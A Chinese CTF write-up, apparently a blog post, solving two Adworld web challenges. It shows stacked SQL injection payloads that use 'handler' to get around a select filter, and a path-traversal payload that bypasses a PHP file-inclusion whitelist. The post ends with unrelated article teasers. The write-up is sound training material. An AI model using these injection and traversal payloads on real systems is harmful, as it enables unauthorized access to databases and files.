双剑破天门:攻防世界Web题解之独孤九剑心法(九)

双剑破天门:攻防世界Web题解之独孤九剑心法(九)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Supersqli

二:Warmup

三:总结

1.supersqli

2.Warmup


一:Supersqli

打开如下所示,初步筛查这应该是一道SQL注入题

这确实是一道SQL注入

1’ or 1=1 #

那接下来就是查询字段数

字段数为2

1’ order by 2 #

查询数据库

正常的查询发现不行,被过滤了

但是没有过滤分号那就可以堆叠注入联合show

1’;show tables ;#

成功查询到一个特殊的表

1';show columns from `1919810931114514`;#

查询发现此表含flag但select被过滤如何查询flag

利用handler代替select 查询

payload:1';handler `1919810931114514` open as `a`;handler `a` read next;#   

查询该表的数据

成功拿到flag


二:Warmup

点开发现有提示source.php

访问source.php和hint.php

是一堆代码,进行代码审计

访问hint.php提示我们flag在ffffllllaaaagggg


代码审计:

<?php highlight_file(__FILE__); //代码高亮 class emmm { public static function checkFile(&$page) //checkFile用于检查文件参数是否合法&$page 表示通过引用传递参数,这样在函数内部对 $page 的修改会影响到函数外部的变量。 { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //定义一个白名单数组,里面包含允许包含的文件名(source.php和hint.php) if (! isset($page) || !is_string($page)) { //第一个if功能为检查$page是否存在且为字符串类型如果不是则返回false echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { ///检查$page是否存在于白名单中存在则返回true return true; } $_page = mb_substr( //截取$page中?之前的部分存在$_page(mb_substr是字符串截取函数,mb_strpos是字符串查找函数) $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { //检查截取后$_page是否在白名单中存在则返回true return true; } $_page = urldecode($page); //对$page进行url解码 $_page = mb_substr( //截取?之前的部分存在$_page中 $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { //检查解码并截取后的$_page是否在白名单中存在则返回true return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) //也就是说只有过掉checkFile方法才可以包含文件 ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>

经过如上审计我们得知如果想要拿到flag就需过掉checkfile方法,那checkfile方法有四个if判断语句

第一个判断语句就是判断我们传进去的是否为不为空且是字符串

第二个判断语句判断我们传的值是否在白名单中

第三个判断截取?之前部分后是否在白名单中

第四个判断语句判断对我们传的值URL解码截取后是否在白名单中

总得来说我们正常包含文件时/source.php?file=........

但是他第三年个和第四个判断语句只截取?之前的而file则被筛掉导致无法包含

所以只要我们变换一下顺序即可且第二个到第四个if判断只要有一个绕过即可

Payload:?file=source.php?../../../../../../ffffllllaaaagggg   (绕过第三个if判断)

Payload:/source.php?file=source.php?../../../../../../ffffllllaaaagggg(这样也可以)

成功拿到flag


三:总结

1.supersqli

SQL注入漏洞,考察绕过过滤和堆叠注入技巧

解题要点

  1. 过滤检测:题目对常见的SQL注入关键字进行了过滤,如selectupdatedelete
  2. 堆叠注入:发现可以使用分号;进行堆叠注入
  3. 绕过方法
    • 使用prepareexecute预处理语句绕过过滤
    • 或者使用handler语句代替select进行数据读取

关键payload

1';handler `1919810931114514` open as `a`;handler `a` read first;#

学习收获

  • 堆叠注入的实际应用
  • 预处理语句在SQL注入中的使用
  • handler语句作为select的替代方案
  • 字符串拼接绕过关键字过滤的技巧

2.Warmup

代码审计与文件包含漏洞

解题要点

  1. 源码分析:通过查看页面源码发现提示source.php
  2. 文件包含:访问source.php获取源代码进行审计
  3. 漏洞点
    • 存在文件包含功能,但添加了../..\的过滤
    • 使用checkFile函数进行白名单检查
  4. 绕过方法
    • 利用四层目录结构../../../../绕过检查
    • 最终payload构造为file=source.php?../../../../../ffffllllaaaagggg

学习收获

  • PHP代码审计的基本方法
  • 文件包含漏洞的利用技巧
  • 目录遍历的绕过方法
  • 白名单检查机制的绕过思路

综合对比

方面

Supersqli

Warmup

漏洞类型

SQL注入

文件包含

主要技巧

堆叠注入、预处理语句、handler语法

目录遍历、白名单绕过

过滤机制

关键字过滤

路径符号过滤

解题关键

找到未被过滤的替代语法

构造足够深的目录结构绕过检查

难度等级

简单

简单


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

DeepFace深度学习库+OpenCV实现——情绪分析器

DeepFace深度学习库+OpenCV实现——情绪分析器

目录 应用场景 实现组件 1. 硬件组件 2. 软件库与依赖 3. 功能模块 代码详解(实现思路) 导入必要的库 打开摄像头并初始化变量 主循环 FPS计算 情绪分析及结果展示 显示FPS和图像 退出条件 编辑 完整代码 效果展示 自然的 开心的 伤心的 恐惧的 惊讶的  效果展示 自然的 开心的 伤心的 恐惧的 惊讶的   应用场景         应用场景比较广泛,尤其是在需要了解和分析人类情感反应的场合。: 1. 心理健康评估:在心理健康领域,可以通过长期监控和分析一个人的情绪变化来辅助医生进行诊断或治疗效果评估。 2. 用户体验研究:在产品设计、广告制作或网站开发过程中,通过观察用户在使用过程中的情绪反应,来优化产品的用户体验。 3. 互动娱乐:在游戏或虚拟现实应用中,根据玩家的情绪状态动态调整游戏难度或故事情节,以增加沉浸感和互动性。

By Ne0inhk
最全java面试题及答案(208道)

最全java面试题及答案(208道)

本文分为十九个模块,分别是:「Java 基础、容器、多线程、反射、对象拷贝、Java Web 、异常、网络、设计模式、Spring/Spring MVC、Spring Boot/Spring Cloud、Hibernate、MyBatis、RabbitMQ、Kafka、Zookeeper、MySQL、Redis、JVM」 ,如下图所示: 共包含 208 道面试题,本文的宗旨是为读者朋友们整理一份详实而又权威的面试清单,下面一起进入主题吧。 Java 基础 1. JDK 和 JRE 有什么区别? * JDK:Java Development Kit 的简称,Java 开发工具包,提供了 Java

By Ne0inhk
10分钟打造专属AI助手!ToDesk云电脑/顺网云/海马云操作DeepSeek哪家强?

10分钟打造专属AI助手!ToDesk云电脑/顺网云/海马云操作DeepSeek哪家强?

文章目录 * 一、引言 * 云计算平台概览 * ToDesk云电脑:随时随地用上高性能电脑 * 二 .云电脑初体验 * DeekSeek介绍 * 版本参数与特点 * 任务类型表现 * 1、ToDesk云电脑 * 2、顺网云电脑 * 3、海马云电脑 * 三、DeekSeek本地化实操和AIGC应用 * 1. ToDesk云电脑 * 2. 海马云电脑 * 3、顺网云电脑 * 四、结语 * 总结:云电脑如何选择? 一、引言 DeepSeek这些大模型让 AI 开发变得越来越有趣,但真要跑起来,可没那么简单! * 本地配置太麻烦:显卡不够、驱动难装、环境冲突,光是折腾这些就让人心态崩了。 * 云端性能参差不齐:选错云电脑,可能卡到爆、加载慢,还容易掉线,搞得效率直线下降。 * 成本难控:有的平台按小时计费,价格一会儿一个样,

By Ne0inhk
用 DeepSeek 打造你的超强代码助手

用 DeepSeek 打造你的超强代码助手

DeepSeek Engineer 是啥? 简单来说,DeepSeek Engineer 是一个基于命令行的智能助手。它能帮你完成这些事: * 快速读文件内容:比如你有个配置文件,直接用命令把它加载进助手,后续所有操作都可以基于这个文件。 * 自动改文件:它不仅能提建议,还可以直接生成差异表(diff),甚至自动应用修改。 * 智能代码生成:比如你让它生成代码片段,它会按照指定格式和规则直接返回。 更重要的是,这一切都是通过 DeepSeek 的强大 API 来实现的。想象一下,你有个贴身助手,不仅能听懂你的代码需求,还能直接动手帮你写! 核心功能拆解 我们先来看 DeepSeek Engineer 的几个核心能力,让你更好地理解它的强大之处。 1. 自动配置 DeepSeek 客户端 启动这个工具时,你只需要准备一个 .env 文件,里面写上你的 API Key,比如: DEEPSEEK_API_

By Ne0inhk